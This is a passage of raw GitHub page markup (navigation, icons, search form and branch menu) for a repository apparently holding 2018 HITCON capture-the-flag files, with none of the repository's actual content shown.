1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="92021189" data-scoped-search-url="/5unKn0wn/ctfs/search" data-owner-scoped-search-url="/users/5unKn0wn/search" data-unscoped-search-url="/search" data-turbo="false" action="/5unKn0wn/ctfs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="dnkZsd6W6hYsyubsHKT/R2hej4Mo1VaKO6mUbcalEnLt1h/aJ8UX7hSzCdyr7DUXhTVIgaxx3n5GG+6MWvNdww==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 5unKn0wn </span> <span>/</span> ctfs <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>5</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>28</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/5unKn0wn/ctfs/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":92021189,"originating_url":"https://github.com/5unKn0wn/ctfs/tree/master/2018/hitcon","user_id":null}}" data-hydro-click-hmac="786f224f7f9d077f7ee9494854f3c1bffd162b4813e16e8379e11f2349c8b221"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 